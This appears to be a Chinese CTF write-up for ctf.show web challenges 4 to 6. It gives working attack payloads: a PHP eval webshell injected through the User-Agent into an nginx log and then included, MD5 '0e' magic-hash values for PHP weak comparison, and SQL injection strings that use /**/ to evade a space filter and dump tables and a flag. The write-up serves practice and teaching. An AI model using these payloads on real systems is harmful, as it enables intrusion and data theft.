4.ctf.show_web4

题目描述和web3是一样的,但是3的方法已经不行了,没有思路,看提示

/etc/passwd依旧可以访问
文件包含  日志注入

请求头中可以看出,服务器是nginx

nginx的log在

/var/log/nginx/access.log
/var/log/nginx/error.log

access.log允许打开

http://6339ac54-c058-4ed2-a21d-5fe884f66c63.challenge.ctf.show/?url=/var/log/nginx/access.log

在UA中添加<?php eval($_POST['hack']);?>

防止url编码

使用蚁剑成功连接

refer to CTF show WEB 1-4_yu22x的博客-CSDN博客_ctfshow web](https://blog.csdn.net/miuzzx/article/details/104321970?spm=1001.2101.3001.6650.7&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-7.pc_relevant_antiscanv2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-7.pc_relevant_antiscanv2&utm_relevant_index=11))

5.ctf.show_web5

题目描述:

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

根据题目的php代码要求:需要传两个参数v1和v2,v1必须为字母,v2必须为数字,如果两者的MD5值相同,输出flag

涉及了PHP md5()函数

Php为弱类型语言
Php中的** == 弱类型比较**
Md5碰撞利用‘0e’开头的字符串
Php解释器将e解释为 科学记数法 分隔
因此只要两段明文的md5秘文以0e开头且长度相同

常用MD5绕过值:
字母数字混合类(MD5值):

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
 
大写字母类:
QLTHNDT
0e405967825401955372549139051580
 
QNKCDZO
0e830400451993494058024219903391
 
EEIZDOI
0e782601363539291779881938479162
 
纯数字类:
240610708
0e462097431906509019562988736854

6.ctf.show_web6

尝试万能密码:

'or 1=1;#
其中#为注释符,语句开头的'不能忽略

报错,显示sql inject error

有字符被过滤

此处使用/**/代替空格

'/**/or/**/1=1#

登陆成功

欢迎你,ctfshow

爆库得到(web2)

'/**/union/**/select/**/1,database(),3#

欢迎你,web2

爆表得到(flag,user)

'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

欢迎你,flag,user

爆字段得到(flag字段)

'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

欢迎你,flag

爆字段值得到flag

'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

欢迎你,ctfshow{f086e8a5-ae06-461f-8124-1371e2dc4987}